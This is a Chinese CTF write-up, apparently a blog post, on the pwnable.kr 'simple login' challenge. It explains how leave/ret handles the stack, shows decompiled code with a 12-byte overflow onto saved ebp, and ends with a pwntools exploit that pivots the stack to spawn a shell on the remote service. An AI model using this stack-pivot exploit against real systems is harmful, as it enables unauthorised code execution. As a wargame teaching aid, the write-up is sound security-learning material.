pwnable(simple login)leave和ret的深入研究

通常栈溢出获取shell的方法是覆盖返回地址,但是如果溢出只允许覆盖到ebp该怎么办呢?

Leave的作用相当==mov esp,ebp和pop ebp
Win32汇编中局部变量的使用方法可以解释一个很有趣的现象:在DOS汇编的时候,如果在子程序中的push指令和pop指令不配对,那么返回的时候ret指令从堆栈里得到的肯定是错误的返回地址,程序也就死掉了。但在Win32汇编中,push指令和pop指令不配对可能在逻辑上产生错误,却不会影响子程序正常返回,原因就是在返回的时候esp不是靠相同数量的push和pop指令来保持一致的,而是靠leave指令从保存在ebp中的原始值中取回来的,也就是说,即使把esp改得一塌糊涂也不会影响到子程序的返回,当然,“窍门”就在ebp,把ebp改掉,程序就玩完了。

mov esp, ebp  ;esp的内容为ebp指向的栈地址
pop ebp       ;ebp = ebp指向的栈地址中保存的值,esp + 4

pop eip       ;程序转到 esp + 4 指向的地址执行

看一下程序

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+18h] [ebp-28h]
  char s; // [esp+1Eh] [ebp-22h]
  unsigned int v6; // [esp+3Ch] [ebp-4h]

  memset(&s, 0, 0x1Eu);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  printf("Authenticate : ");
  _isoc99_scanf("%30s", &s);
  memset(&input, 0, 0xCu);
  v4 = 0;
  v6 = Base64Decode(&s, &v4);
  if ( v6 > 0xC )
  {
    puts("Wrong Length");
  }
  else
  {
    memcpy(&input, v4, v6);
    if ( auth(v6) == 1 )
      correct();
  }
  return 0;
}

_isoc99_scanf("%30s", &s);输入限制30个字节。
对输入进行了base64解密。
解密后的数据要小于等于12

_BOOL4 __cdecl auth(int a1)
{
  char v2; // [esp+14h] [ebp-14h]
  char *s2; // [esp+1Ch] [ebp-Ch]
  int v4; // [esp+20h] [ebp-8h]

  memcpy(&v4, &input, a1);
  s2 = (char *)calc_md5(&v2, 12);
  printf("hash : %s\n", (char)s2);
  return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}

这里进行了拷贝,可以看到int v4; // [esp+20h] [ebp-8h]但是实际上能拷贝的数据长度位12字节可以覆盖ebp。

.text:0804930B                 leave
.text:0804930C                 retn

当auth正常返回的时候设置mov esp ebp(这个时候ebp还是原来的正确值),pop ebp在我们可以设置ebp。pop eip不会影响。
程序继续向后运行…
运行到下一个
leave;ret这个时候会
mov esp ebp设置esp(这里会把esp设置为刚才ebp的值也就是我们可以控制的内容)
pop ebp 不会有影响。
ret(也就是pop ip 也就是程序的执行流跳转到 esp+4的地址处执行)这个时候会劫持程序的执行流。

exp很简单

from pwn import *
p=remote("pwnable.kr",9003)
shell=0x08049284
INput=0x0811EB40
payload=(p32(0xaaaaaaaa)+p32(shell)+p32(INput)).encode("base64")
p.recvuntil("Authenticate : ")
p.sendline(payload)
p.interactive()
  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值